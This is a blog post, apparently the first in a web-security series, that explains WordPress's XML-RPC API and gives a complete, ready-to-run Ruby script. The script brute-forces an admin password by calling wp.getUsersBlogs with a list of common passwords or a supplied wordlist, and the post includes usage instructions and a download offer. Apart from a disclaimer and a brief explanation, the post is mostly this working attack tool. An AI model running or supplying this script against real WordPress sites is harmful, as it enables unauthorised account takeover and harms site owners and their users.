Wordpress brute force password attack using XML-RPC API

All code and information for educational purposes only

Starting a series of posts about web security, which also a passion of mine besides development.
The first published post on this topic about getting admin password for wordpress using XML-RPC API and brute force attack. Second choice may be a direct brute force attack via post form on ‘wp-login.php’ which may be more complex during ‘Account Lockout Policy’ and other things, which I will cover in other post.

What is XML-RPC?

The XML-RPC is an API that enables developers create WordPress ‘apps’ (like clients, plugins and themes), that allow you to make remote HTTP requests to your WordPress site…(link to full article)
The simplest way to check if XML-RPC API enabled(default) in your wordpress is by open your browser and entering something like http://127.0.0.1:8080/xmlrpc.php, if response you see is ‘XML-RPC server accepts POST requests only.’, XML-RPC API enabled.

Other great tools for wordpress password brute force

WPScan – great tool for wordpress information gathering and password brute force
Nmap with http-wordpress-brute script – performs brute force password auditing against Wordpress CMS/blog installations.

Let’s do it

Let’s start to build simple script which will find admin password for wordpress using dictionary, I am using simple sucuri dictionary as default for out brute force attack.
We will use ‘wp.getUsersBlogs’ method for our purposes, to retrieve the blogs of the users. This method receives username and password and returns array of values. In case of success we getting array with user’s info, otherwise xmlrpc call throws exception, see the code below to understand better.

Our script will use xml-rpc client for ruby

wp_find_password.rb script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env ruby
# encoding: UTF-8

require 'optparse'
require 'xmlrpc/client'
require 'uri'


def wp_find_password(options)
  # https://github.com/danielmiessler/SecLists/blob/master/Passwords/Sucuri_Top_Wordpress_Passwords.txt
  passwords = %w(admin 123456 password 12345678 typhoon 666666 111111 1234567 qwerty
                 siteadmin qwerty siteadmin administrator root 123123 123321
                 1234567890 letmein123 test123 demo123 pass123 123qwe qwe123 654321 loveyou adminadmin123)

  uri = URI(options[:url])
  server = XMLRPC::Client.new(uri.host, uri.path, uri.port)
  server.http_header_extra = {'accept-encoding' => 'identity'}

  if options[:wordlist] != 'default'
    passwords = File.readlines(options[:wordlist])
    passwords.collect! {|s| s.chomp}
  end

  passwords.each do |password|
    begin
      response = server.call("wp.getUsersBlogs", options[:username], password)
      if response
        puts "--- Success: PASSWORD: #{password} for username: #{options[:username]} ---\n"
        break;
      end
    rescue XMLRPC::FaultException => e
      puts "Wrong password: #{password} for username: #{options[:username]}, response code #{e.faultCode}\n"
    end
  end
end

options = {:url => 'http://127.0.0.1:8080/wordpress/xmlrpc.php', :username => 'admin', :wordlist => 'default'}

OptionParser.new do |opts|
  opts.banner = "Usage: wp_find_password.rb [options]"
  opts.on('--username username', 'Username, default: admin') do |username|
    options[:username] = username
  end

  opts.on('--url url', 'Url, default: http://127.0.0.1/wordpress/xmlrpc.php') do |url|
    options[:url] = url
  end

  opts.on('--wordlist wordlist', 'Word List, default: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Sucuri_Top_Wordpress_Passwords.txt') do |wordlist|
    options[:wordlist] = wordlist
  end

  opts.on('-h', '--help', 'Displays Help') do
    puts opts
    exit
  end
end.parse!

wp_find_password(options)

You may download this script here

Usage example: wp_find_password.rb —url 127.0.0.1:8080/wordpress/xmlrpc.php —wordlist /Users/your-user/Downloads/wordlist.txt —username admin

Options: Usage: wp_find_password.rb [options]

    --username username          Username, default: admin
    --url url                    Url, default: http://127.0.0.1/wordpress/xmlrpc.php
    --wordlist wordlist          Dictionary
-h, --help                       Displays Help

Comments